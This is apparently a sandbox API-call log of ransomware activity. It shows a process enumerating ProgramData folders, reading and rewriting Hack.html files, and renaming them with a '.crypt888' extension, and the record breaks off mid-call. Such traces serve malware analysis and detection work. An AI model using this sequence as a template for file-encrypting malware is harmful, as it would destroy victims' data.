[0088.627] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", lpFilePart=0x0) returned 0x29 [0088.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.627] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\mf\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.627] GetFileType (hFile=0x174) returned 0x1 [0088.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.627] GetFileType (hFile=0x174) returned 0x1 [0088.627] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.627] ReadFile (in: hFile=0x174, lpBuffer=0x2807c54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2807c54*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.647] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", lpFilePart=0x0) returned 0x29 [0088.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.648] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\mf\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.649] GetFileType (hFile=0x174) returned 0x1 [0088.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.649] GetFileType (hFile=0x174) returned 0x1 [0088.649] WriteFile (in: hFile=0x174, lpBuffer=0x2855dac*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2855dac*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.650] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", lpFilePart=0x0) returned 0x29 [0088.650] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html.crypt888", lpFilePart=0x0) returned 0x32 [0088.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.650] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\mf\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb791580, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb791580, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6092f80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.650] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\mf\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\mf\\hack.html.crypt888")) returned 1 [0088.650] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html", lpFilePart=0x0) returned 0x29 [0088.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.650] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\mf\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.651] GetFileType (hFile=0x174) returned 0x1 [0088.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.651] GetFileType (hFile=0x174) returned 0x1 [0088.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.652] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN", lpFilePart=0x0) returned 0x21 [0088.652] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\", lpFilePart=0x0) returned 0x22 [0088.652] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a668 [0088.652] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.652] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.652] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.652] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.652] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0088.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.653] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN", lpFilePart=0x0) returned 0x21 [0088.653] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\", lpFilePart=0x0) returned 0x22 [0088.653] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a668 [0088.653] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.653] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.653] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.653] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.653] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0088.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.654] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", lpFilePart=0x0) returned 0x2b [0088.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.654] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.654] GetFileType (hFile=0x174) returned 0x1 [0088.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.654] GetFileType (hFile=0x174) returned 0x1 [0088.654] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.654] ReadFile (in: hFile=0x174, lpBuffer=0x285ae30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x285ae30*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.669] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", lpFilePart=0x0) returned 0x2b [0088.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.670] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.671] GetFileType (hFile=0x174) returned 0x1 [0088.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.671] GetFileType (hFile=0x174) returned 0x1 [0088.672] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", lpFilePart=0x0) returned 0x2b [0088.672] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html.crypt888", lpFilePart=0x0) returned 0x34 [0088.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.672] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb791580, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb791580, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc60df240, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.672] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\msdn\\hack.html.crypt888")) returned 1 [0088.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.673] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0", lpFilePart=0x0) returned 0x25 [0088.673] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\", lpFilePart=0x0) returned 0x26 [0088.673] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0088.673] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.673] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.673] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.674] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0088.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.674] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0", lpFilePart=0x0) returned 0x25 [0088.674] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\", lpFilePart=0x0) returned 0x26 [0088.674] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0088.674] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.674] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.674] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.675] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0088.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.675] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0088.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0088.675] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.675] GetFileType (hFile=0x174) returned 0x1 [0088.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0088.675] GetFileType (hFile=0x174) returned 0x1 [0088.675] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.675] ReadFile (in: hFile=0x174, lpBuffer=0x28ab748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28ab748*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.695] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0088.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0088.695] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.696] GetFileType (hFile=0x174) returned 0x1 [0088.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0088.696] GetFileType (hFile=0x174) returned 0x1 [0088.697] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0088.697] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html.crypt888", lpFilePart=0x0) returned 0x38 [0088.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0088.697] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb791580, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb791580, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc61053a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0088.697] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\hack.html.crypt888")) returned 1 [0088.697] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0088.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0088.698] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.698] GetFileType (hFile=0x174) returned 0x1 [0088.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0088.698] GetFileType (hFile=0x174) returned 0x1 [0088.699] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html", lpFilePart=0x0) returned 0x2b [0088.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.699] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\msdn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.699] GetFileType (hFile=0x174) returned 0x1 [0088.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.699] GetFileType (hFile=0x174) returned 0x1 [0088.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.700] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x29 [0088.700] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\", lpFilePart=0x0) returned 0x2a [0088.700] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a668 [0088.700] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.700] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.700] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.700] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.701] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0088.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.701] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x29 [0088.701] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\", lpFilePart=0x0) returned 0x2a [0088.701] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a668 [0088.701] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.701] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.701] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.701] FindNextFileW (in: hFindFile=0x59a668, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.701] FindClose (in: hFindFile=0x59a668 | out: hFindFile=0x59a668) returned 1 [0088.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.701] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.701] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.702] GetFileType (hFile=0x174) returned 0x1 [0088.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.702] GetFileType (hFile=0x174) returned 0x1 [0088.702] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.702] ReadFile (in: hFile=0x174, lpBuffer=0x2701e5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2701e5c*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.716] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.716] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.717] GetFileType (hFile=0x174) returned 0x1 [0088.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.717] GetFileType (hFile=0x174) returned 0x1 [0088.718] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.718] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3c [0088.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb7dd840, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb7dd840, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6151660, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.719] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\netframework\\hack.html.crypt888")) returned 1 [0088.719] SetThreadErrorMode (dwNewMode=0x1, 